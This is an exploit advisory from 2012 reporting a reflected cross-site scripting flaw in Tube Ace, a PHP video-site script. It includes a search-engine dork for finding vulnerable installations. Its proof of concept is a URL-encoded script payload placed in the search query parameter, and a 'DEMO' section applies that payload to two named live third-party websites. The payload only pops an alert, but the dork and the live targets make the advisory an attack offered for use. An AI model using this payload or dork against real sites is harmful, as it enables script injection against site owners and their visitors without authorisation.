# Exploit Title: Tube Ace(Adult PHP Tube Script) XSS Vulnerability
# Date: 15/02/2012
# Author: Daniel Godoy
# Author Mail: DanielGodoy[at]GobiernoFederal[dot]com
# Author Web: www.delincuentedigital.com.ar
# Software: Tube Ace
# http://www.tubeace.com
# Tested on: Linux
# Dork: "?viewStandard=0"
 
[Comment]
Greetz: Hernan Jais, Alfonso Cuevas, SPEED, Sensei, Incid3nt,
Maximiliano Soler
    Sunplace, Pablin77,_tty0, Login-Root,Knet,Kikito,Duraznit0,
InyeXion, ksha, zerial.
    her0, r0dr1 y demas user de RemoteExecution
    www.remoteexecution.info www.remoteexcution.com.ar
    #RemoteExecution Hacking Group

[PoC]

http://localhost/mobile/search/?q=[XSS]

http://localhost/search/?q=%22%3E%3Cscript%3Ealert%28%22pwned%22%29%3C/script%3E&channel=

[DEMO]

http://www.tubeclipz.com/search/?q=%22%3E%3Cscript%3Ealert%28%22pwned%22%29%3C/script%3E&channel=

http://smoketube.tv/search/?q=%22%3E%3Cscript%3Ealert%28%22pwned%22%29%3C%2Fscript%3E&channel=

-------------------------
Correo enviado por medio de MailMonstruo - www.mailmonstruo.com